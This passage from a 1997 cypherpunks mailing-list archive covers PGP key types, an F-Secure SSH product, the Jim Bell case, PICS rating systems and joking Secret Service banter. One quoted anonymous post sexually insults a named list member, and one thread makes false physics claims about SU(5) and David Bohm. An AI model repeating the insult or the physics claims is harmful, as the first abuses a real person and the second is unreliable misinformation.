rights.  EPIC publishes the EPIC Alert, pursues Freedom of Information
Act litigation, and conducts policy research.  For more information,
e-mail info at epic.org, http://www.epic.org or write EPIC, 666
Pennsylvania Ave., SE, Suite 301, Washington, DC 20003. +1 202 544 9240
(tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy Information
Center, contributions are welcome and fully tax-deductible.  Checks
should be made out to "The Fund for Constitutional Government" and sent
to EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003.
Individuals with First Virtual accounts can donate at
http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the right
of privacy and efforts to oppose government regulation of encryption and
funding of the National Wiretap Plan.

Thank you for your support.

  ---------------------- END EPIC Alert 4.11 -----------------------

..

-------
David Banisar (Banisar at epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003 * PGP Key  http://www.epic.org/staff/banisar/key.html










From declan at well.com  Thu Jul 24 09:50:54 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Jul 1997 00:50:54 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: 



The Secret Service sells tree ornaments every year. They're quite nice.
Though by the time I got back from Singapore last December, they were sold
out. Don't think they do mail order; it's just for building residents.

If there's a tremendous amount of interest I might be talked into taking
orders this year. They're only about $12 each. 

I hear from fellow jlists that the S.S. also runs a souvenier shop in the
basement of the Old Executive Office Building, on the White House
compound. I've never been able to find it, though. 

-Declan


On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?
> 
> -Doug
> 
> 






From sunder at brainlink.com  Thu Jul 24 10:03:34 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 25 Jul 1997 01:03:34 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: 



On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?

Sure you want'em?  They're probably as buggy as a swap in july.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From lharrison at mhv.net  Thu Jul 24 11:00:33 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 25 Jul 1997 02:00:33 +0800
Subject: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
Message-ID: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>



At 08:55 AM 7/23/97 -0400, William H. Geiger III wrote:
>
>Has anyone contacted Jim's lawer about the recent IRS SPAM?
>
>Seems to me that the IRS leaking the Plea Agreement would be at least
>contempt of court.


With certain exceptions, court proceedings are open to the public which is
why one is able to read articles in newspapers about certain cases.

The only way that the IRS' leaking the Plea Agreement by sending email to
individuals would constitute contempt of court is if there was a gag order.

 

***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From real at freenet.edmonton.ab.ca  Thu Jul 24 11:04:09 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 25 Jul 1997 02:04:09 +0800
Subject: your mail
In-Reply-To: <199707241418.HAA06215@sirius.infonex.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 24 Jul 1997, Mix wrote:

> Timmy May's 16Kb brain's single convolution is 
> directly wired to his rectum for input and his T1 
> mouth for output. That's 16K bits, not bytes. Anal 
> intercourse has caused extensive brain damage.
> 
>   o o Timmy May
>    o
>   \_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From sunder at brainlink.com  Thu Jul 24 11:16:31 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 25 Jul 1997 02:16:31 +0800
Subject: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: 



On Thu, 24 Jul 1997, Lynne L. Harrison wrote:

> With certain exceptions, court proceedings are open to the public which is
> why one is able to read articles in newspapers about certain cases.
> 
> The only way that the IRS' leaking the Plea Agreement by sending email to
> individuals would constitute contempt of court is if there was a gag order.

A. It's unsolicited spam.
B. The way they gathered the list of addresses is questionable, and likely
off Jim's HD.  If this is the case, can it be used to send the warning
message?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From nobody at neva.org  Thu Jul 24 11:29:26 1997
From: nobody at neva.org (Neva Remailer)
Date: Fri, 25 Jul 1997 02:29:26 +0800
Subject: d-day
Message-ID: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>




What do you think about celebrating the expiration of the Diffie-Hellman
patent by getting all the PGP users in the world to switch to DSS/DH keys
all at once?

It would take a massive education effort, but imagine the effect... we
could even celebrate it annually, since there'd inevitably be significant
lagging.








From Petri.Laakkonen at DataFellows.com  Fri Jul 25 02:35:50 1997
From: Petri.Laakkonen at DataFellows.com (Petri Laakkonen)
Date: Fri, 25 Jul 1997 02:35:50 -0700 (PDT)
Subject: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>


Hi guys,

I'm afraid of that US sales has fallen off the tracks. We need to catch up
ASAP.


At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>FOR IMMEDIATE RELEASE
>23 July, 1997
>
>Data Fellows announces F-Secure SSH Tunnel&Terminal
>
What's this product all in all ? Has this now replaced F-Secure SSH or is
this one additional derivative of SSH a'la ISP SSH ?

Are the features same as for the most recent SSH clients/servers ? HOw does
this product differ from SSH ?

Any data sheets ?

Is the software

a) shipping
b) downloadable from the web ?
>The remote worker can use e-mail, Internet browser, database tools and all
>the usual applications at home, on the road or in any place with Internet
>access. The big difference, though invisible to the remote worker, is that
>all data communication between the server in the office and the remote user
>is flowing through an encrypted tunnel.
>
Does this configure itself automatically for most popular office apps as
discussed some time earlier, or do admins still need to do the installation
manually for each computer or count on users doing this themselves ?

>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>sets a new standard for secure remote working. Existing solutions like
>Cisco Systems L2F, IETF L2TP and firewalls don�t provide strong encryption
>and authentication, which makes these solutions insecure against
>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>hosts and secures UNIX X11 applications.
>
What would be F-Secure Tunnel's added value over MS pptp ?
>
>The automatic deployment tool enables straightforward company-wide
>installation and updates.
>
Interesting. Tell us more about this ?
>
>
>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>operating systems worldwide in the end of July, 1997.
>
How about our friends from Cupertino (e.g. Apple) ?
>
Thanks for the additional info in advance,

Petri

--------------------------------------------------------------------
Petri.Laakkonen at DataFellows.com, World Wide Web: http://www.DataFellows.com

Data Fellows U.S headquarters has moved ! Our new contacts as of March
24th, 1997 are:

Data Fellows 
675 N. First Street, Suite 605
San Jose, CA 95112
phone (408) 938-6700, fax (408) 938-6701

********************************************************************* 
* 				F-Secure              		      *
*            Award-winning Security for Peace of Mind               *
*               from the Desktop to the Internet                    *
*									      *	
*	 	http://www.DataFellows.com/                           *
********************************************************************





From alan at ctrl-alt-del.com  Thu Jul 24 13:15:14 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Fri, 25 Jul 1997 04:15:14 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: 



On Thu, 24 Jul 1997, Declan McCullagh wrote:

> Date: Thu, 24 Jul 1997 09:39:20 -0700 (PDT)
> From: Declan McCullagh 
> To: Doug Peterson 
> Cc: cypherpunks at toad.com
> Subject: Re: DEATH TO THE TYRANTS
> 
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each. 

What do they look like?  

> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though. 

You have to find the news stand and ask for the "Special of the day" while
wearing a pink dress shirt.  A trap door will open and you will be at the
gift shop.  (If you survive the fall.)

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From dkp at iname.com  Thu Jul 24 13:17:41 1997
From: dkp at iname.com (Dave K-P)
Date: Fri, 25 Jul 1997 04:17:41 +0800
Subject: d-day
In-Reply-To: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>
Message-ID: <33D7B34A.287D@iname.com>



Neva Remailer wrote:

> What do you think about celebrating the expiration of the Diffie-Hellman
> patent by getting all the PGP users in the world to switch to DSS/DH keys
> all at once?

	From www.rsa.com on DSS ...

DSA has been criticized by the computer industry since its announcement.
Criticism has focused on a few main issues: it lacks key exchange
capability; the underlying cryptosystem is too recent and has been
subject
to too little scrutiny for users to be confident of its strength;
verification of signatures with DSA is too slow; the existence of a
second authentication standard will cause hardship to computer hardware
and
software vendors, who have already standardized on RSA; and the process
by
which NIST chose DSA was too secretive and arbitrary, with too much
influence wielded by NSA.

	And from www.rsa.com on the ElGamal variation of Diffie-Hellman...

The main disadvantage of ElGamal is the need for randomness, and its
slower speed (especially for signing). Another potential disadvantage of
the ElGamal system is that message expansion by a factor of two takes
place during encryption. However, such message expansion is negligible
if
the cryptosystem is used only for exchange of secret keys. 

	So, before you run off to play with your new toys, read the
warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
seems unlikely.






From jbugden at alis.com  Thu Jul 24 14:39:53 1997
From: jbugden at alis.com (jbugden at alis.com)
Date: Fri, 25 Jul 1997 05:39:53 +0800
Subject: Internet makes resistance futile, Clinton aide warns
Message-ID: <9707248697.AA869779597@alis-1.alis.com>




Internet makes resistance futile, Clinton aide warns

This byline appeared in The Financial Post of July 24, 1997 at the top of the
front page.

The subsequent article discussed not crypto, but Canadian attempts to regulate
television content. Even so, the second paragraph is succinct, and applicable to
both debates. 

"Ira Magaziner, Clinton's international emissary on the issue of how governments
should respond to the explosive growth of business on the Net, said any attempt
to regulate its content would not only be a mistake, it would be futile."

Perhaps someone should get Mr. Magaziner back to Washington to explain this to
the administration.

Ciao,
James
jbugden at alis.com

Great minds think alike, fools seldom differ.







From shamrock at netcom.com  Thu Jul 24 15:02:20 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 25 Jul 1997 06:02:20 +0800
Subject: d-day
In-Reply-To: <33D7B34A.287D@iname.com>
Message-ID: 







On Thu, 24 Jul 1997, Dave K-P wrote:
> 
> 	So, before you run off to play with your new toys, read the
> warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
> that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
> Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
> seems unlikely.

The Linux beta of PGP 5.0 is available at 
http://www.pgp.com/products/50-linux-beta.cgi

Once the scanning effort (91% proofread) has completed, PGP 5.0 for a 
wide variety of OS'es is only a matter of time.

-- Lucky Green  PGP encrypted mail preferred






From declan at vorlon.mit.edu  Thu Jul 24 16:22:20 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Fri, 25 Jul 1997 07:22:20 +0800
Subject: "Who the hell are CNET?"
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:04:16 -0700
From: Rose Aguilar 
To: "Phillip M. Hallam-Baker" 
Cc: chris_barr at cnet.com, fight-censorship at vorlon.mit.edu
Subject: "Who the hell are CNET?"

For the company explanation go to:
http://www.cnet.com/Community/Welcome/About/profile.html

Here's my explanation:

CNET doesn't compare itself to Microsoft, IBM, or MCI.  Do you categorize a
"significant industry player" based on its household name and revenue status?

CNET has a variety of services...we have 10 Web sites and 4 TV shows...each
one has a different goal.

CNET doesn't "speak" for the whole Net community.  That's not our goal.
Our goal is to _provide_ the Net community with various services whether it
be reviews, news, TV shows, or commentaries, all of which focus on
technology and the Net.  That might not be significant to you Phil, but it
is to the million+ who use our services.  

Netizens may not always agree with CNET's stories, reviews, or
commentaries...and we welcome opinions.  You know the saying: "Negative
feedback is better than no feedback."

Hope this answers your question.

--Rose


At 01:29 PM 7/24/97 -0400, Phillip M. Hallam-Baker wrote:
> I've been wondering for some time. Who the hell are CNET?
>
>I've never heard of them doing anything significant and I have not heard
>of them in relation to any significant industry player. They are not
>Microsoft, not IBM, not MCI.
>
>There is a problem, too many people the idea that they are speaking for
>the whole net community.  Too many people think that because they have
>made a paper fortune from the chumps who invest in the stock market that
>they are somehow important.
>
>        Phill
>
>
>
>
>
>
>
***************************
Rose Aguilar
CNET Radio Reporter/Producer 
150 Chestnut St.
San Francisco, CA  94111 
415/395-7800 X 1227
Fax: 415/395-7815
http://www.radio.com/
***************************






From ravage at ssz.com  Thu Jul 24 16:33:37 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 25 Jul 1997 07:33:37 +0800
Subject: Spreading Technology (fwd)
Message-ID: <199707242319.SAA03028@einstein.ssz.com>



Forwarded message:

> Subject: Re: Spreading Technology
> From: shadow at krypton.rain.com (Leonard Erickson)
> Date: Thu, 24 Jul 1997 00:23:37 PST

> >>What did Einstein say? "God does not play dice with the Universe"?

> > This comment was made in reference to the Uncertainty Principle and
> > Einstein's perception of the indeterminancy of quantum mechanics. He
> > supposedly said it so many times that Neils Bohr, who was more
> > philosophically inclined to accept the contradictions in modern physics
> > than Einstein, once became so exasperated that he admonished Einstein to
> > "stop telling God what to do!"
> 
> And after the experiments that pretty much killed the "hidden
> variables" interpretation, one physicist reportedly commented "Not only
> does God play dice, he sometimes throws the dice where they can't be
> seen."

Bohr's objection was one of religion, not reality. His objection was one of
familiarity breeding contempt of God.

It was Stephen Hawking who made the quip about not seeing the dice.

The SU(5) theory was arrived at by political contrivance in 1927 when the
Solvay Conference was called to resolve the various theories that happened
to be flying fast and furious at the time, instigated by DeBroglie. Because
several of these theories were completely in agreement with experiment it was
becoming impossible to make progress because of all the possibilities. The
question asked was "what theory shows the most promise for continued research
and acceptance of requests for operating capital." The SU(5) was arrived at
by majority vote and not experimental verification.

Einstein's objection to the Uncertainty Principle was the same as David
Bohm's. In fact most physicists at the time were opposed to it, the famous 
Schroedinger Cat was meant to be an objection to the theory and in
particular to show how unrealistic it was. If you happen to be willing to do
away with the standard SU(5) theory then the Uncertainty Principle goes away,
a good example is to look at David Bohms 'many worlds' theory as it has no
uncertainty principle involved. Bohm was black-balled by the conventional
physics community because he would not accept the SU(5) even in principle. It
has only been in the last 15 years or so that serious review of Bohm's work
has taken place. Alfven and others have used it and other approaches to bring
many of the basic tenets of the SU(5) and the Big Bang into question.

Interesting aspect is even his most strident opponents admitted their
objection to his theories were based on emotion and mental attitudes and not
on any failure regarding experimental verification. He was and is considered
one of the greatest modern physicists, on a par with Einstein and et ali.

You might check out David Bohm's last book before he died,

The Undivided Universe: An ontological interpretation of quantum theory
D.Bohm, B.J. Hiley
ISBN 0-415-06588-7

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Thu Jul 24 16:34:04 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 25 Jul 1997 07:34:04 +0800
Subject: Spreading Technology - Ooops
Message-ID: <199707242320.SAA03064@einstein.ssz.com>



Hi,

Sorry, that comment about David Bohm was not meant for this list.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at amaranth.com  Thu Jul 24 16:58:17 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 25 Jul 1997 07:58:17 +0800
Subject: Spreading Technology - Ooops
In-Reply-To: <199707242320.SAA03064@einstein.ssz.com>
Message-ID: <199707242352.SAA12176@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199707242320.SAA03064 at einstein.ssz.com>, on 07/24/97 
   at 06:20 PM, Jim Choate  said:

>Hi,

>Sorry, that comment about David Bohm was not meant for this list.

That's ok Jim it was more intresting that 75% of what has been on the list
lately.

PS: I am going to Amazon.com to see if they have Bohm's book there.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From Tom.Helenius at DataFellows.com  Fri Jul 25 08:51:01 1997
From: Tom.Helenius at DataFellows.com (Tom Helenius)
Date: Fri, 25 Jul 1997 08:51:01 -0700 (PDT)
Subject: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725180119.00a427b0@datafellows.com>


Hello Petri and others,

I think you haven't fallen off the tracks. We have now (very soon) SSH 1.1
clients. Instead of SSH 1.1 we call the product SSH Tunnel&Terminal. This
way we want to emphasize that SSH is a very nice tool for remote and mobile
workers.

Most of the details about SSH 1.1 you can find in the press release.

Regards,
Tom

At 01:44 AM 7/25/97 -0700, Petri Laakkonen wrote:
>Hi guys,
>
>I'm afraid of that US sales has fallen off the tracks. We need to catch up
>ASAP.
>
>
>At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>>FOR IMMEDIATE RELEASE
>>23 July, 1997
>>
>>Data Fellows announces F-Secure SSH Tunnel&Terminal
>>
>What's this product all in all ? Has this now replaced F-Secure SSH or is
>this one additional derivative of SSH a'la ISP SSH ?

SSH 1.1 - Easy to use product for remote/mobile workers. It can do all the
same that SSH 1.0 does and it is more optimised for telecommuting.

>Are the features same as for the most recent SSH clients/servers ? HOw does
>this product differ from SSH ?
>
>Any data sheets ?

Probably we should update SSH 1.0 sheets.

>Is the software
>
>a) shipping
>b) downloadable from the web ?

Should be in a couple of weeks.

>>The remote worker can use e-mail, Internet browser, database tools and all
>>the usual applications at home, on the road or in any place with Internet
>>access. The big difference, though invisible to the remote worker, is that
>>all data communication between the server in the office and the remote user
>>is flowing through an encrypted tunnel.
>>
>Does this configure itself automatically for most popular office apps as
>discussed some time earlier, or do admins still need to do the installation
>manually for each computer or count on users doing this themselves ?

You still need some knowledge to make the initial configuration. After that
it is very easy. I don't know about the automatic deployment tool.

>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don�t provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.
>>
>What would be F-Secure Tunnel's added value over MS pptp ?

MS PPTP does not provide strong crypto. With the SSH tunnels we are almost
directly competing against PPTP. Of course PPTP is not available for win3.x
and Mac. I'm preparing some info about PPTP, at least for our partners. The
problem is I'm not sure what to say and how.

>>The automatic deployment tool enables straightforward company-wide
>>installation and updates.
>>
>Interesting. Tell us more about this ?

This is very interesting. I have to admit I don't know what this really
means. Let's find out on Monday.

>>
>>
>>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>>operating systems worldwide in the end of July, 1997.
>>
>How about our friends from Cupertino (e.g. Apple) ?

This seems to be an error. We are doing the Mac also. Sorry.

>Thanks for the additional info in advance,
>
>Petri
>
>--------------------------------------------------------------------
>Petri.Laakkonen at DataFellows.com, World Wide Web: http://www.DataFellows.com
>
>Data Fellows U.S headquarters has moved ! Our new contacts as of March
>24th, 1997 are:
>
>Data Fellows 
>675 N. First Street, Suite 605
>San Jose, CA 95112
>phone (408) 938-6700, fax (408) 938-6701
>
>********************************************************************* 
>* 				F-Secure              		      *
>*            Award-winning Security for Peace of Mind               *
>*               from the Desktop to the Internet                    *
>*									      *	
>*	 	http://www.DataFellows.com/                           *
>********************************************************************
>
--
Tom.Helenius at DataFellows.com, World-Wide Web http://www.DataFellows.com





From enoch at zipcon.net  Thu Jul 24 18:11:38 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Fri, 25 Jul 1997 09:11:38 +0800
Subject: Spreading Technology (fwd)
In-Reply-To: <199707242319.SAA03028@einstein.ssz.com>
Message-ID: <19970725010517.15644.qmail@zipcon.net>



Jim Choate  writes:

 > The SU(5) theory was arrived at by political contrivance in
 > 1927 when the Solvay Conference was called to resolve the
 > various theories that happened to be flying fast and furious
 > at the time, instigated by DeBroglie.

Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
it made its appearance in 1927.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From vznuri at netcom.com  Thu Jul 24 18:23:37 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 25 Jul 1997 09:23:37 +0800
Subject: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: 
Message-ID: <199707250110.SAA13144@netcom4.netcom.com>




the EPIC letter shows a rather severe misunderstanding of
what many interenet ratings systems are intended to accomplish.
I've written on this subject here and will rebut some of the
claims of the EPIC letter by Marc Rotenberg. (keep in mind,
as you read the following, I am violently opposed to *involuntary* 
rating systems.)

*voluntary* rating systems are in fact another glorious expression of 
free speech, and anyone who advocates free speech will find
themselves in a paradoxically inconsistent point of view
in rejecting such systems.  just as anyone should be free to 
disseminate information,  anyone should be free to comment on
that information. ratings are nothing but "information about 
information" and anyone who claims otherwise would be like someone
arguing for the existence of "illegal bits", as TCM lovingly likes
to call them. amusingly, I have seen TCM argue against voluntary rating
systems here, making the distinction that they are not free speech
but the road to ruin.

PICs was designed from the beginning to be voluntary, and support
voluntary ratings. how is a company that tells you what are some
"hot web pages" different from one that tells you about ones that
are "offensive to children"? there are many of the former that
I've never seen any cypherpunks argue against. surely EPIC would
consider them a good idea. why are the latter a bad idea? what's
the difference between these "good bits" and "bad bits"? answer:
there is none, except in the minds of people who have kneejerk
opinions but not deeply thoughtful insights.

the argument that voluntary rating systems can be quickly
turned into an involuntary one is specious. it's like saying that
if some people are allowed to public fascist magazines, we're
in danger of turning into a fascist country. obviously it's the
same argument the government scaremongers make against free speech.

cypherpunks like to talk about "technical solutions" to problems.
I would like them to begin to understand that a means by which
public opinion is altered is in fact in many cases the only 
possible "technical solution" to some problems. I submit that no amount of 
ingenuity in technical solutions can circumvent a government
or majority of the population that is opposed to your endeavor.
the solution is in part to change public consciousness.  and
to give credit where it is due, the cpunks have done a very 
admirable job of this through the mailing list.

hence, if we have a government that is trying to make voluntary
things mandatory (such as ratings), and clamp down 
on the public, don't you think
you're evading the whole issue by trying to find more ingenious
ways to hide? you're evading the basic question, which is, 
why did the government become like that? why have you accepted
the questionable conclusion that it cannot be changed? do you
think perhaps it became that way because of that opinion? which
came first, the apathy or the tyranny? the lines blur, don't you
think?

if other governments are going to use PICs to manipulate their
public, than is the problem PICs or the governments that are
in that situation? do you think that getting rid of PICs is going
to solve the problem of bad governments? answer: no!! you can
get rid of every opportunity for what you think is a bad government
to exercise its badness, and it will find some ingenious new
way of being bad!! the answer is to fix the government, not to try
to change the ten-bazillion different things it may get its hands onto. one 
problem, one solution.

on to the letter...

>I want to be clear that EPIC, both a plaintiff and counsel in
>the challenge to the Communications Decency Act, does not support
>the use of blocking software in principle or practice. We do not
>support rating systems for the following reasons.
>
>First, we believe that the fundamental purpose of a rating system
>-- to allow one person to decide what information another person
>may receive -- is contrary to the character of the Internet and
>the principles of openness and individuality found in a free society.

a silly restatement of what rating systems do. what mr. rotenberg
fails to note is the obvious distinction between a voluntary and
an involuntary rating system. only the later have the property that
"one person can decide what another can recieve". in fact all rating
systems in existence today are voluntary and merely *advisory*.
they are just *opinions* that people can choose to follow.

>Unlike search engines that allow individuals to select information
>based on their preferences and desires, rating systems impose one
>person's or one organization's viewpoint on another. 

so does a NEWSPAPER!!! perhaps we should ban them!! or is it that
they don't really "impose" anything???

>Such techniques
>could be used as easily by governments against citizens and employers
>against employees as they could by parents against children, as was
>made clear by one of the PICS creators in an early paper on the
>topic.

the government could also use duct tape to suffocate its citizens.
perhaps we should outlaw duct tape? because it has the potential
to be misused by governments?

>Second, we have already seen rating systems used to block access to
>information that could in no reasonable way be considered indecent.

FALSE. these rating systems block access to information when people
volunteer to use the databases. presumably, they SUBSCRIBED TO THOSE
BLOCKING SERVICES FOR EXACTLY THAT SERVICE, I.E. BLOCKING. if I 
subscribed to a blocking service, I would certainly expect that
they did block some sites, wouldn't you? your fuzzy brained thinking
fails to distinguish again between voluntary and involuntary, 
Mr. R...

>Rating systems have blocked access to political organizations,
>medical information, and unpopular viewpoints. In public libraries
>and public schools such techniques violate well established First
>Amendment freedoms. Such products should be roundly criticized by
>Internet publishers, not endorsed.

misleading use of the word "block".  when people stop using the
word "block" in a context where it is clearly not applicable
we'll all be better off. suppose I say to my butler, "please stop
me from eating greasy food" and he stops me. was that involuntary?
did he "block" me against my will?

>Third, we believe that over time rating systes are likely to make it
>easier -- not more difficult -- for governments around the world to
>enforce content-based controls on Internet content. This process is
>already underway in many countries which are now considering
>PICS-based schemes to implement national content controls.

many countries are now considering the best ways to torture their
subjects with rubber hose. perhaps we should regulate rubber hoses
this moment.

 Further,
>our reading of the Supreme Court's opinion in Reno V. ACLU is that
>content based controls would be upheld in the US once rating
>systems and means for age verification and widely available. It
>was the nature of the Internet, and not the availability of rating
>systems, that produced the wonderful outcome in that case. But
>once voluntary standards are in place, statutory controls will
>surely follow.

bzzzzzzzzzzt, only if we have an orwellian government, in which case
you will have much worse things to worry about than a silly PICs
standard. technology is not the problem, but governments who misuse
it. no amount of ingenuity in technology 
will protect you from a bad government. fix the government!!

a flimsily-put-together letter, Mr. R, quite a disappointment.






From snow at smoke.suba.com  Thu Jul 24 18:47:55 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 25 Jul 1997 09:47:55 +0800
Subject: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: 



On Tue, 15 Jul 1997, Kent Crispin wrote:
> On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote:
> [.deleted.]
> > I wouldn't.  Its the state's duty to protect my liberties and if they can't
> > or won't the obligation falls on me.
> > The product of liberty and security is a constant.
> This is obviously false.  Zero liberty and zero security is a quite
> possible situation (laying strapped to the table, waiting for your 
> lethal injection, for example), as is some liberty and some security (the 
> normal situation).

	I would say that in the above situation, one is rather well 
secured...


Petro, Christopher C.
petro at suba.com 
snow at smoke.suba.com






From snow at smoke.suba.com  Thu Jul 24 19:06:04 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 25 Jul 1997 10:06:04 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
